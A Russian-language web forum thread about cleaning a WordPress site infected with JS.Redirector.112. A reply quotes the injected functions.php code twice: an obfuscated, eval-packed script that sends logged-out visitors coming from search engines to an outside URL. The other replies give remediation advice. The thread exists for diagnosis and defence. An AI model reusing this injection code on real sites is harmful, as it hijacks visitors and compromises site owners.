Как защититься от JS.Redirector.112

фтп пароль поменяй? запрети входить на фтп всем, кроме своего ip

Я даже на другой хостинг перешел. блин поменяю. Мот он в моем компе как то прописался ?

ну возможно, антималваре скачай, комп проверь

Был клиент, который не сохранял пароли от фтп в программе также постоянно заражались файлы, причина была в шелле, запускался скрипт именно через него. Смотрите внимательнее!

JS.Redirector.112 ваш это дописанный в function.php темы код вида:

<?php  

add_action('get_footer', 'add_sscounter'); 

function add_sscounter(){ 

echo '<!--scounter-->'; 

if(function_exists('is_user_logged_in')){ 

if(time()%2 == 0 && !is_user_logged_in()){     

echo "<script language=\"JavaScript\">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r***91;e(c)***93;=k***91;c***93;||e(c);k=***91;function(e){return r***91;e***93;}***93;;e=function(){return'\\\w+'};c=1};while(c--)if(k***91;c***93;)p=p.replace(new RegExp('\\\b'+e(c)+'\\\b','g'),k***91;c***93;);return p}('e r=x.9,t=\"\",q;4(r.3(\"m.\")!=-1)t=\"q\";4(r.3(\"7.\")!=-1)t=\"q\";4(r.3(\"8.\")!=-1)t=\"p\";4(r.3(\"a.\")!=-1)t=\"q\";4(r.3(\"f.\")!=-1)t=\"g\";4(r.3(\"j.\")!=-1)t=\"q\";4(t.6&&((q=r.3(\"?\"+t+\"=\"))!=-1||(q=r.3(\"&\"+t+\"=\"))!=-1))B.C=\"v\"+\"w\"+\":/\"+\"/A\"+\"b\"+\"k\"+\"5\"+\"h.\"+\"c\"+\"z/s\"+\"u\"+\"5\"+\"h.p\"+\"d?\"+\"t\"+\"y=1&t\"+\"i\"+\"l=\"+r.n(q+2+t.6).o(\"&\")***91;0***93;;',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'),0,{}))</script>"; 

} 

} 

} 

?>

Это надо удалить. и да, менять пароли, искать шеллы :)

<?php  

add_action('get_footer', 'add_sscounter'); 

function add_sscounter(){ 

echo '<!--scounter-->'; 

if(function_exists('is_user_logged_in')){ 

if(time()%2 == 0 && !is_user_logged_in()){     

echo "<script language=\"JavaScript\">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r***91;e(c)***93;=k***91;c***93;||e(c);k=***91;function(e){return r***91;e***93;}***93;;e=function(){return'\\\w+'};c=1};while(c--)if(k***91;c***93;)p=p.replace(new RegExp('\\\b'+e(c)+'\\\b','g'),k***91;c***93;);return p}('e r=x.9,t=\"\",q;4(r.3(\"m.\")!=-1)t=\"q\";4(r.3(\"7.\")!=-1)t=\"q\";4(r.3(\"8.\")!=-1)t=\"p\";4(r.3(\"a.\")!=-1)t=\"q\";4(r.3(\"f.\")!=-1)t=\"g\";4(r.3(\"j.\")!=-1)t=\"q\";4(t.6&&((q=r.3(\"?\"+t+\"=\"))!=-1||(q=r.3(\"&\"+t+\"=\"))!=-1))B.C=\"v\"+\"w\"+\":/\"+\"/A\"+\"b\"+\"k\"+\"5\"+\"h.\"+\"c\"+\"z/s\"+\"u\"+\"5\"+\"h.p\"+\"d?\"+\"t\"+\"y=1&t\"+\"i\"+\"l=\"+r.n(q+2+t.6).o(\"&\")***91;0***93;;',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'),0,{}))</script>"; 

} 

} 

} 

?>

да именно это фигня. Смена паролей не дает эффекта , остается шелл. Как его искать ?

Поставьте на functions.php права записи 444.

У меня с тех пор ни один сайт не заболел, рекомендую.

См. сюда и сюда. А потом сюда или сюда

Парни нашел в phpadmin во вкладке базы данных: information_schema (не знаю что это такое, не моя база данных..может эт дистрибутив?) следующие 1 соответствие в таблице PROCESSLIST , открываю обзор и вижу:

SELECT *

FROM `information_schema`.`PROCESSLIST`

WHERE (

CONVERT( `ID`

USING utf8 ) LIKE '%base64_decode%'

OR CONVERT( `USER`

USING utf8 ) LIKE '%base64_decode%'

OR CONVERT( `HOST`

USING utf8 ) LIKE '%base64_decode%'

OR CONVERT( `DB`

USING utf8 ) LIKE '%base64_decode%'

OR CONVERT( `COMMAND`

USING utf8 ) LIKE '%base64_decode%'

OR CONVERT( `TIME`

USING utf8 ) LIKE '%base64_decode%'

OR CONVERT( `STATE`

USING utf8 ) LIKE '%base64_decode%'

OR CONVERT( `INFO`

USING utf8 ) LIKE '%base64_decode%'

)

LIMIT 0 , 30

наверное какой-то шелл. так как base64_decode в файле function постоянно появляется. Вопрос удалить эту запись PROCESSLIST ?

Это не что нить полезное ?

не лазь туда - это системная БД (по хорошему хостеры должны бы её скрывать, но по факту..)